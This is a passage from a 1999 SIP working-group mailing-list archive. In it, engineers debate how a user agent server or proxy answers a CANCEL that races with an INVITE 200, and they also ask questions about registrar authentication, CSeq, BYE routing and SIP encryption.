The UAC knows that, since the INVITE received a 200 reply, the CANCEL was
not received in time. As is implied in RFC2543 section 10.5.1, you can
then send a BYE instead of an ACK to tear down the call. 

Since there may be intervening proxies which generate their own 200 
response to CANCEL, there's no way to propigate an error code all the way
from the UAS to the UAC:

   UAC                       PROXY                       UAS
 1  |----------INVITE--------->|                          |
 2  |                          |----------INVITE--------->|
 3  |----------CANCEL--------->|                          |
 4  |<-------CANCEL 200--------|                          |
 5  |                          |<-------INVITE 200--------|
 6  |                          |----------CANCEL--------->|
 7  |<-------INVITE 200--------|                          |
 8  |                          |<-------CANCEL 200--------|
 9  |------------BYE---------->|                          |
 10 |                          |------------BYE---------->|
 11 |                          |<---------BYE 200---------|
 12 |<---------BYE 200---------|                          |

Even if you were to put an error code in the CANCEL response transmitted 
in step 8, it's too late to send it back to the UAC, since the proxy
already responded in step 4.

Read literally, the spec. says you should re-transmit until you receive
a response to the CANCEL, so silently discarding the CANCEL with no 
response seems like a bad idea.

Notice, also, the flow of messages between the proxy and the UAC
in the diagram above: if you receive an INVITE 200, even after a 
CANCEL 200, you must assume that the far-end UAS is expecting to be 
in a session with you, and it is your responsibility to tear the 
session down.

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Thu May 27 10:42:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA06764
	for confctrl-outgoing; Thu, 27 May 1999 10:42:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA06759
	for <confctrl@zephyr.isi.edu>; Thu, 27 May 1999 10:42:02 -0700 (PDT)
Received: from omzrelay02.mcit.com (beta.mcit.com [199.249.19.244])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA28488
	for <confctrl@isi.edu>; Thu, 27 May 1999 10:42:01 -0700 (PDT)
Received: from ndcrelay2.mcit.com ([166.37.172.6])
 by firewall.mcit.com (PMDF V5.2-32 #38417)
 with ESMTP id <0FCE003NDJSW2T@firewall.mcit.com> for confctrl@isi.edu; Thu,
 27 May 1999 17:41:20 +0000 (GMT)
Received: from omzmta04.mcit.com (omzmta04.mcit.com [166.37.194.122])
 by ndcrelay2.mcit.com (8.8.7/) with ESMTP	id RAA31245 for <confctrl@isi.edu>;
 Thu, 27 May 1999 17:37:49 +0000 (GMT)
Received: from lm ([166.35.147.54])
 by omzmta04.mcit.com (InterMail v03.02.05 118 121 101)
 with SMTP id <19990527174119.DDHL632@lm> for <confctrl@isi.edu>; Thu,
 27 May 1999 17:41:19 +0000
Date: Thu, 27 May 1999 12:38:01 -0500
From: Robert Sparks <Robert.Sparks@wcom.com>
Subject: Registrar authentication response ; CSeq contiguity
To: confctrl@ISI.EDU
Message-id: <000401bea867$aabf1560$369323a6@lm.mci.net>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V4.72.3155.0
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Content-type: text/plain;	charset="iso-8859-1"
Content-transfer-encoding: 7bit
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Local discussions have raised a pair of questions:

1) In the simple scenario of a UAC interacting directly with a
registrar, if the registrar decides authentication is required
for a request, it MAY return a 401 response(section 14.1). Could
it choose to return a 407 instead? (In other words, could a registrar
be considered a proxy rather than an end recipient of the request?)

2) Should CSeq be contiguous over {UAC,CallId} or {UAC,CallId,To,From}. If
the former, is the only rationale behind the contiguous requirement to
ensure
a large CSeq space? If the latter, has it been discussed what a UAS might do
if it detected a gap?

Robert Sparks
Robert.Sparks@wcom.com



From confctrl-owner  Thu May 27 11:20:29 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA10995
	for confctrl-outgoing; Thu, 27 May 1999 11:20:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA10969
	for <confctrl@zephyr.isi.edu>; Thu, 27 May 1999 11:20:27 -0700 (PDT)
Received: from mail5.Dialogic.com (mail5.dialogic.com [146.152.224.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA03679
	for <confctrl@ISI.EDU>; Thu, 27 May 1999 11:20:26 -0700 (PDT)
Received: from sanmiguel.dialogic.com ([146.152.131.2])
 by mail5.Dialogic.com (PMDF V5.2-31 #33110)
 with SMTP id <0FCE003LQLLY7Y@mail5.Dialogic.com> for confctrl@ISI.EDU; Thu,
 27 May 1999 14:20:24 -0400 (EDT)
Received: from 100grand by sanmiguel.dialogic.com (SMI-8.6/SMI-SVR4)
	id LAA05592; Thu, 27 May 1999 11:23:56 -0700
Date: Thu, 27 May 1999 11:17:23 -0700
From: Jeff Mark <Jeff.Mark@Dialogic.com>
Subject: RE: SIP: CANCEL request/2xx-response to INVITE
In-reply-to: <199905271630.LAA07030@b04a24.exu.ericsson.se>
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>,
        Lars Berggren <lars.berggren@intertex.se>
Cc: confctrl@ISI.EDU
Message-id: <001201bea86d$2a7d7800$9c839892@dialogic.com>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2014.211
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 8BIT
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Adam B. Roach
> Sent: Thursday, May 27, 1999 9:31 AM
> To: Lars Berggren
> Cc: confctrl@ISI.EDU
> Subject: Re: SIP: CANCEL request/2xx-response to INVITE
>
>
> >1) UAC sends INVITE to UAS.
> >2) UAS receives INVITE.
> >3) UAS sends 200 OK (INVITE) to UAC.
> >4) UAC sends CANCEL to UAS.
> >5) UAC receives 200 OK (INVITE).
> >6) UAS receives the CANCEL.
> >
> >Now what should the UAS do? How do it respond to the CANCEL? According
> >to the rfc it is not affected by the CANCEL since it has sent a 200
> >response.
> >
> >Is there a failure status code to send in response to the CANCEL or
> >should the UAS just silently drop the CANCEL request?
>
> I beleive it should send a 200 in response to the CANCEL.
>
> UAC                        UAS
>  |----------INVITE--------->|
>  |---CANCEL--\  /-INV. 200--|
>  |            \/            |
>  |            /\            |
>  |<----------/  \---------->| The CANCEL does not terminate the session
>  |<--------CANCEL 200-------|
>  |------------BYE---------->|
>  |<---------BYE 200---------|
>  |                          |
>
> The UAC knows that, since the INVITE received a 200 reply, the CANCEL was
> not received in time. As is implied in RFC2543 section 10.5.1, you can
> then send a BYE instead of an ACK to tear down the call.

Shouldn't the UAS send something other than a 200 reply to the CANCEL?  From
the UAS perspective it receives a CANCEL request after accepting the INVITE.
I think it might be better for the UAS to send some error code (maybe 403
Forbidden) to signify it has already accepted the call and is now awaiting
an ACK or BYE.

If this were the scenario (CANCEL 200 received before INV 200 below) the UAC
might think it's CANCEL was successful in tearing down the call, remove all
state it had on this transaction and go on to do other things.  When the UAC
receives the INVITE 200 response it would discard it since it now know's
nothing about this transaction.

UAC                        UAS
 |----------INVITE--------->|
 |---CANCEL--\  /-INV. 200--|
 |            \/            |
 |            /\            |
 |<----------/--\--CAN. 200-|
 |<---------/    \----------|

If, however, the CANCEL response was some error code, it might tell the UAC
that the UAS I was contacting did send an INVITE final response but it has
not arrived yet.  The UAC could then send a BYE to make sure the call get's
disconnected.

Comments?

-Jeff

_|_|_|  Jeff Mark
_|_|_|  Software Engineer
_|_|_|  Dialogic Santa Barbara Labs
_|_|_|  http://www.dialogic.com/


From confctrl-owner  Thu May 27 11:24:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA11312
	for confctrl-outgoing; Thu, 27 May 1999 11:24:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA11307
	for <confctrl@zephyr.isi.edu>; Thu, 27 May 1999 11:24:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA03908
	for <confctrl@isi.edu>; Thu, 27 May 1999 11:24:04 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Thu May 27 14:23:47 EDT 1999
Received: from dnrc.bell-labs.com (igorspc [135.180.130.146])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id OAA18991;
	Thu, 27 May 1999 14:23:47 -0400 (EDT)
Message-ID: <374D8DC2.C604CB56@dnrc.bell-labs.com>
Date: Thu, 27 May 1999 14:24:02 -0400
From: Igor Slepchin <igors@dnrc.bell-labs.com>
Organization: Bell Labs
X-Mailer: Mozilla 4.6 [en] (WinNT; U)
X-Accept-Language: en,ru
MIME-Version: 1.0
To: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>
CC: mmusic <confctrl@ISI.EDU>
Subject: Re: BYE from the callee.
References: <374D3D10.FD9C9B05@ericsson.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Gonzalo,

Information in Via is only used to send responses within a transaction.
For consecutive requests whithin call leg use address from Route,
Contact or From field - in this order, i.e., Route should be used if
present, Contact if there is no Route, From if there is no Contact.

---
Igor Slepchin


Gonzalo Camarillo wrote:
> 
> Hi,
> 
> We have a SIP UAC/UAS, and we receive an INVITE request with the
> following Via header:
> 
> Via: SIP/2.0/UDP 1.1.1.1:5062
> 
> We send our 200 OK to the port number 5062 and we receive the ACK... the
> connection is established.
> 
> Now we (the callee) want to send a BYE in order to finish the call.
> 
> Where do we have to send the BYE request?
> There are two possibilities:
> a) We send it to 1.1.1.1:5062, since our last response was sent there.
> 
> b) We follow the normal steps for finding a SIP server with the
> information contained in the From header of the INVITE received
> previously.
> 
> I have tried some implementations and they go for the second opcion (b),
> since the Via header of a previous transaction does not have anything to
> do with the transaction that we are about to start... this is the
> correct behaviour, right?
> 
> Thanks,
> 
> Gonzalo
> --
> Gonzalo Camarillo         Phone :  +358  9 299 33 71
> Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
> Telecom R&D               Fax   :  +358  9 299 31 18
> FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
> Finland

From confctrl-owner  Thu May 27 13:20:51 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA25825
	for confctrl-outgoing; Thu, 27 May 1999 13:20:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA25820
	for <confctrl@zephyr.isi.edu>; Thu, 27 May 1999 13:20:50 -0700 (PDT)
Received: from sims-ha.videotron.net (faure.videotron.net [205.151.222.100])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA17757
	for <confctrl@ISI.EDU>; Thu, 27 May 1999 13:20:49 -0700 (PDT)
Received: from hviens ([205.237.248.37])
 by sims-ha.videotron.net (Sun Internet Mail Server sims.3.5.1999.03.02.17.58.p5)
 with SMTP id <0FCE00IFWR6ITB@sims-ha.videotron.net> for confctrl@ISI.EDU; Thu, 27 May 1999 16:20:43 -0400 (EDT)
Date: Thu, 27 May 1999 16:20:42 -0400
From: Hans Viens <vieh01@gel.usherb.ca>
Subject: SIP privacy
X-Sender: 94298898@hermes.usherb.ca
To: confctrl@ISI.EDU
Message-id: <0FCE00IFXR6JTB@sims-ha.videotron.net>
MIME-version: 1.0
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.2
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi!

I'd like to know if my understanding of SIP encryption is good... if not...
please tell me what's wrong.

If I want to send an encrypted request:

- I encrypt the part of the request with the sender's private key;
- Create a signature with a hash algorithm (MD5 or SHA-1);
- Prepended the signature to the encrypted message;
- Then send it

Is it the way it should be ???

Hans... 

From confctrl-owner  Thu May 27 13:42:08 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA28250
	for confctrl-outgoing; Thu, 27 May 1999 13:42:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA28245
	for <confctrl@zephyr.isi.edu>; Thu, 27 May 1999 13:42:06 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA20146
	for <confctrl@isi.edu>; Thu, 27 May 1999 13:42:05 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Thu May 27 16:40:23 EDT 1999
Received: from dnrc.bell-labs.com (igorspc [135.180.130.146])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id QAA22239;
	Thu, 27 May 1999 16:40:21 -0400 (EDT)
Message-ID: <374DADC3.110B95E5@dnrc.bell-labs.com>
Date: Thu, 27 May 1999 16:40:35 -0400
From: Igor Slepchin <igors@dnrc.bell-labs.com>
Organization: Bell Labs
X-Mailer: Mozilla 4.6 [en] (WinNT; U)
X-Accept-Language: en,ru
MIME-Version: 1.0
To: Jeff Mark <Jeff.Mark@Dialogic.com>
CC: "Adam B. Roach" <Adam.Roach@Ericsson.com>,
        Lars Berggren <lars.berggren@intertex.se>, confctrl@ISI.EDU
Subject: Re: SIP: CANCEL request/2xx-response to INVITE
References: <001201bea86d$2a7d7800$9c839892@dialogic.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

As Adam pointed out, sending an error response to CANCEL is pointless in
most situations because the UAC will receive the response sent by the
next upstream proxy, not by UAS. Besides, UAC can figure out that there
was a race condition when it sees the INVITE 200 after sending CANCEL,
there is no need to even wait for the response to CANCEL. The RFC2543 is
also fairly clear about what response should be sent:

   A redirect or user agent server receiving a CANCEL request responds
   with a status of 200 (OK) if the transaction exists and a status of
   481 (Transaction Does Not Exist) if not, but takes no further action.
   In particular, any existing call is unaffected.

As an aside, even if UAC does not send a BYE to INVITE 200, the UAS will
not consider the call established as it will never see the ACK. Of
course, this scenario is not very graceful but it still works.

Thanks,
Igor Slepchin


Jeff Mark wrote:
> <...>
> > I beleive it should send a 200 in response to the CANCEL.
> >
> > UAC                        UAS
> >  |----------INVITE--------->|
> >  |---CANCEL--\  /-INV. 200--|
> >  |            \/            |
> >  |            /\            |
> >  |<----------/  \---------->| The CANCEL does not terminate the session
> >  |<--------CANCEL 200-------|
> >  |------------BYE---------->|
> >  |<---------BYE 200---------|
> >  |                          |
> >
> > The UAC knows that, since the INVITE received a 200 reply, the CANCEL was
> > not received in time. As is implied in RFC2543 section 10.5.1, you can
> > then send a BYE instead of an ACK to tear down the call.
> 
> Shouldn't the UAS send something other than a 200 reply to the CANCEL?  From
> the UAS perspective it receives a CANCEL request after accepting the INVITE.
> I think it might be better for the UAS to send some error code (maybe 403
> Forbidden) to signify it has already accepted the call and is now awaiting
> an ACK or BYE.
> 
> If this were the scenario (CANCEL 200 received before INV 200 below) the UAC
> might think it's CANCEL was successful in tearing down the call, remove all
> state it had on this transaction and go on to do other things.  When the UAC
> receives the INVITE 200 response it would discard it since it now know's
> nothing about this transaction.
> 
> UAC                        UAS
>  |----------INVITE--------->|
>  |---CANCEL--\  /-INV. 200--|
>  |            \/            |
>  |            /\            |
>  |<----------/--\--CAN. 200-|
>  |<---------/    \----------|
> 
> If, however, the CANCEL response was some error code, it might tell the UAC
> that the UAS I was contacting did send an INVITE final response but it has
> not arrived yet.  The UAC could then send a BYE to make sure the call get's
> disconnected.
> 
> Comments?
> 
> -Jeff
> 
> _|_|_|  Jeff Mark
> _|_|_|  Software Engineer
> _|_|_|  Dialogic Santa Barbara Labs
> _|_|_|  http://www.dialogic.com/

From confctrl-owner  Thu May 27 13:49:09 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA29040
	for confctrl-outgoing; Thu, 27 May 1999 13:49:09 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA29035
	for <confctrl@zephyr.isi.edu>; Thu, 27 May 1999 13:49:08 -0700 (PDT)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA20732
	for <confctrl@ISI.EDU>; Thu, 27 May 1999 13:49:07 -0700 (PDT)
Received: from mr4.exu.ericsson.se ([138.85.11.56])
	by gwa.ericsson.com (8.8.8/8.8.8) with ESMTP id PAA28702;
	Thu, 27 May 1999 15:48:35 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id PAA24448;
	Thu, 27 May 1999 15:48:34 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id PAA25698; Thu, 27 May 1999 15:48:31 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id PAA07830;
	Thu, 27 May 1999 15:48:28 -0500 (CDT)
Message-Id: <199905272048.PAA07830@b04a24.exu.ericsson.se>
Subject: Re: SIP: CANCEL request/2xx-response to INVITE
To: Jeff.Mark@Dialogic.com (Jeff Mark)
Date: Thu, 27 May 1999 15:48:28 -0500 (CDT)
Cc: Adam.Roach@ericsson.com, lars.berggren@intertex.se, confctrl@ISI.EDU
In-Reply-To: <001201bea86d$2a7d7800$9c839892@dialogic.com> from "Jeff Mark" at May 27, 99 11:17:23 am
From: "Adam B. Roach" <Adam.Roach@ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>Shouldn't the UAS send something other than a 200 reply to the CANCEL?  From
>the UAS perspective it receives a CANCEL request after accepting the INVITE.
>I think it might be better for the UAS to send some error code (maybe 403
>Forbidden) to signify it has already accepted the call and is now awaiting
>an ACK or BYE.
>
>If this were the scenario (CANCEL 200 received before INV 200 below) the UAC
>might think it's CANCEL was successful in tearing down the call, remove all
>state it had on this transaction and go on to do other things.  When the UAC
>receives the INVITE 200 response it would discard it since it now know's
>nothing about this transaction.

This is not acceptable behavior.

The purpose of the second example I included in my previous message 
was to demonstrate this *EXACT* point. I will reiterate:

   UAC                       PROXY                       UAS
 1  |----------INVITE--------->|                          |
 2  |                          |----------INVITE--------->|
 3  |----------CANCEL--------->|                          |
 4  |<-------CANCEL 200--------|                          |
 5  |                          |<-------INVITE 200--------|
 6  |                          |----------CANCEL--------->|
 7  |<-------INVITE 200--------|                          |
 8  |                          |<-------CANCEL 200--------|
 9  |------------BYE---------->|                          |
 10 |                          |------------BYE---------->|
 11 |                          |<---------BYE 200---------|
 12 |<---------BYE 200---------|                          |

Even if you *were* to put an error code in the CANCEL response 
transmitted in step 8, it's too late to send it back to the UAC, 
since the proxy already responded in step 4 (each stateful proxy
responds to a CANCEL request locally).

If the client behaves as you've described above, then it will
*not* handle communication through proxies correctly.

Let's say the UAC ignores the INVITE 200 after step 7. The
UAS is still waiting for an ACK or BYE in response to its
INVITE 200, and will continue to send it six more times
over the course of the next minute or so, before finally
timing out. The called user gets no error indication until
after this timeout period. In fact, it looks to him as if
the call has completed sucessfully. Not necessarily
harmful, but certainly well into what I would consider
annoying.

With that said, there is no harm in sending back an error code
of your choosing in response to a CANCEL. However, you can't count
on it travelling end-to-end, so there's very little point in
doing so.

Above all, you can't count on a 200 response to a CANCEL to indicate
the the call has been sucessfully canceled.

It seems to me that if you won't be keeping information about past 
sessions around for some period of time (and even if you will), you 
should accomodate this situation by sending a "BYE" back in response
to any INVITE 200:s you receive but can't correlate.

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Thu May 27 14:09:23 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA01810
	for confctrl-outgoing; Thu, 27 May 1999 14:09:23 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA01790
	for <confctrl@zephyr.isi.edu>; Thu, 27 May 1999 14:09:21 -0700 (PDT)
Received: from mail5.Dialogic.com (mail5.dialogic.com [146.152.224.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA23281
	for <confctrl@isi.edu>; Thu, 27 May 1999 14:09:20 -0700 (PDT)
Received: from sanmiguel.dialogic.com ([146.152.131.2])
 by mail5.Dialogic.com (PMDF V5.2-31 #33110)
 with SMTP id <0FCE004OJTB8AY@mail5.Dialogic.com> for confctrl@isi.edu; Thu,
 27 May 1999 17:06:45 -0400 (EDT)
Received: from 100grand by sanmiguel.dialogic.com (SMI-8.6/SMI-SVR4)
	id OAA06286; Thu, 27 May 1999 14:10:18 -0700
Date: Thu, 27 May 1999 14:03:46 -0700
From: Jeff Mark <Jeff.Mark@Dialogic.com>
Subject: RE: SIP: CANCEL request/2xx-response to INVITE
In-reply-to: <374DADC3.110B95E5@dnrc.bell-labs.com>
To: Igor Slepchin <igors@dnrc.bell-labs.com>,
        "Adam B. Roach" <Adam.Roach@Ericsson.com>
Cc: confctrl@ISI.EDU
Message-id: <001701bea884$68fca5d0$9c839892@dialogic.com>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2014.211
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Thanks for the correction.  It just seemed odd to me at first, but the
examples helped clarify what the RFC said.  I didn't really examine your
proxy example the first time -- sorry about that.

Thanks,

-Jeff


> -----Original Message-----
> From: Igor Slepchin [mailto:igors@dnrc.bell-labs.com]
> Sent: Thursday, May 27, 1999 1:41 PM
> To: Jeff Mark
> Cc: Adam B. Roach; Lars Berggren; confctrl@isi.edu
> Subject: Re: SIP: CANCEL request/2xx-response to INVITE
>
>
> As Adam pointed out, sending an error response to CANCEL is pointless in
> most situations because the UAC will receive the response sent by the
> next upstream proxy, not by UAS. Besides, UAC can figure out that there
> was a race condition when it sees the INVITE 200 after sending CANCEL,
> there is no need to even wait for the response to CANCEL. The RFC2543 is
> also fairly clear about what response should be sent:
>
>    A redirect or user agent server receiving a CANCEL request responds
>    with a status of 200 (OK) if the transaction exists and a status of
>    481 (Transaction Does Not Exist) if not, but takes no further action.
>    In particular, any existing call is unaffected.
>
> As an aside, even if UAC does not send a BYE to INVITE 200, the UAS will
> not consider the call established as it will never see the ACK. Of
> course, this scenario is not very graceful but it still works.
>
> Thanks,
> Igor Slepchin
>



From confctrl-owner  Thu May 27 17:24:02 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA21932
	for confctrl-outgoing; Thu, 27 May 1999 17:24:02 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA21927
	for <confctrl@zephyr.isi.edu>; Thu, 27 May 1999 17:24:01 -0700 (PDT)
Received: from mail5.Dialogic.com (mail5.dialogic.com [146.152.224.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA16135
	for <confctrl@ISI.EDU>; Thu, 27 May 1999 17:24:00 -0700 (PDT)
Received: from sanmiguel.dialogic.com ([146.152.131.2])
 by mail5.Dialogic.com (PMDF V5.2-31 #33110)
 with SMTP id <0FCF0051W2FXH2@mail5.Dialogic.com> for confctrl@ISI.EDU; Thu,
 27 May 1999 20:23:58 -0400 (EDT)
Received: from 100grand by sanmiguel.dialogic.com (SMI-8.6/SMI-SVR4)
	id RAA07022; Thu, 27 May 1999 17:27:31 -0700
Date: Thu, 27 May 1999 17:20:59 -0700
From: Jeff Mark <Jeff.Mark@Dialogic.com>
Subject: RE: SIP: CANCEL request/2xx-response to INVITE
In-reply-to: <199905272048.PAA07830@b04a24.exu.ericsson.se>
To: "Adam B. Roach" <Adam.Roach@ericsson.com>
Cc: lars.berggren@intertex.se, confctrl@ISI.EDU
Message-id: <002201bea89f$f632bfa0$9c839892@dialogic.com>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2014.211
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 8BIT
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>
> This is not acceptable behavior.
>
> The purpose of the second example I included in my previous message
> was to demonstrate this *EXACT* point. I will reiterate:
>
>    UAC                       PROXY                       UAS
>  1  |----------INVITE--------->|                          |
>  2  |                          |----------INVITE--------->|
>  3  |----------CANCEL--------->|                          |
>  4  |<-------CANCEL 200--------|                          |
>  5  |                          |<-------INVITE 200--------|
>  6  |                          |----------CANCEL--------->|
>  7  |<-------INVITE 200--------|                          |
>  8  |                          |<-------CANCEL 200--------|
>  9  |------------BYE---------->|                          |
>  10 |                          |------------BYE---------->|
>  11 |                          |<---------BYE 200---------|
>  12 |<---------BYE 200---------|                          |
>

After some discussion among my co-workers I had another issue I wanted to
raise / point out.  In this example I believe step 7 disagrees with some of
the wording in RFC2543.

In section 4.2.5:

    Once a user agent server has received a CANCEL, it MUST NOT
    issue a 2xx response for the cancelled original request.

In section 12.3:

    A stateful proxy acts as a virtual UAS/UAC.  It implements
    the server state machine when receiving requests, and the
    client state machine for generating outgoing requests, with
    the exception of receiving a 2xx response to an INVITE.
    Instead of generating an ACK, the 2xx response is always
    forwarded upstream towards the caller.

Now since the proxy is acting as both the UAS and UAC it appears from
reading 4.2.5 the INVITE 200 response sent in step 7 is in violation to this
rule.  Since the proxy "implements the server state machine when receiving
requests" (12.3) it shouldn't send the INVITE 200 response.  The exception
noted in 12.3 applies to the client state machine of the proxy and was
intended (from my reading) on preventing the proxy from ACKing an INVITE
response.  So, if we abide by the server state machine, the proxy MUST NOT
forward the INVITE 200 response (4.2.5).  Now since the proxy already
accepted the cancellation of the call, it seems appropriate it should deal
with the INVITE 200 it receives in step 5 by sending the BYE itself.
Although this behavior is not mentioned in the spec, it seems like an
appropriate action to take since the transaction has been canceled.

Perhaps the chain of messages in your example is the correct way to do
things and the way the spec authors intended, but I think there needs to be
a clarification on how to respond to a CANCEL if a server has already
responded to the INVITE.  It just seems to me that sending a CANCEL 200
response _after_ sending an INVITE 200 response is not consistent with the
meaning of CANCEL.  Taking your proxy example I think the following exchange
of messages would still be consistent with the spec.  In step 8 the proxy
generates a BYE since it is not allowed to forward the INVITE 200 (4.2.5):

   UAC                       PROXY                       UAS
 1  |----------INVITE--------->|                          |
 2  |                          |----------INVITE--------->|
 3  |----------CANCEL--------->|                          |
 4  |<-------CANCEL 200--------|                          |
 5  |                          |<-------INVITE 200--------|
 6  |                          |----------CANCEL--------->|
 7  |                          |<-------CANCEL 403--------|
 8  |                          |------------BYE---------->|
 9  |                          |<---------BYE 200---------|

So if your original example is the intended way for a proxy to behave then
the spec needs to add some extra wording in section 12.3 to signify it is ok
to forward the INVITE 200 after it has received the CANCEL request.  If the
above example is the decided to be the way to go, then extra wording needs
to be inserted in 4.2.5 to allow the CANCEL 403 response to be sent if a
final response to an INVITE has already been sent and to assert in 12.3 the
behavior the proxy should have on CANCELed transactions (i.e. BYEing any
subsequent INVITE 200 response).

Maybe an explanation of how I interpret the CANCEL response would help in
deciphering my message :)

CANCEL 200
    I know about the request you want cancelled, I have not
    sent any final response to this request, and I promise
    to stop any further processing of the cancelled request.
    You may consider the original request complete.

CANCEL 403
    I know about this transaction, but am refusing to fulfill
    your CANCEL request because I have already sent a final
    response for the request you want to CANCEL.

CANCEL 481
    I have no idea what request you are trying to CANCEL.

You'll probably argue for the initial case as my interpretation seems to add
more to the spec.  I just thought I would bring this up as an issue on
something that I think is unclear both from reading the spec and from a
higher level interpretation of the messages that are sent.

-Jeff

_|_|_|  Jeff Mark
_|_|_|  Software Engineer
_|_|_|  Dialogic Santa Barbara Labs
_|_|_|  http://www.dialogic.com/


From confctrl-owner  Thu May 27 21:50:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA20756
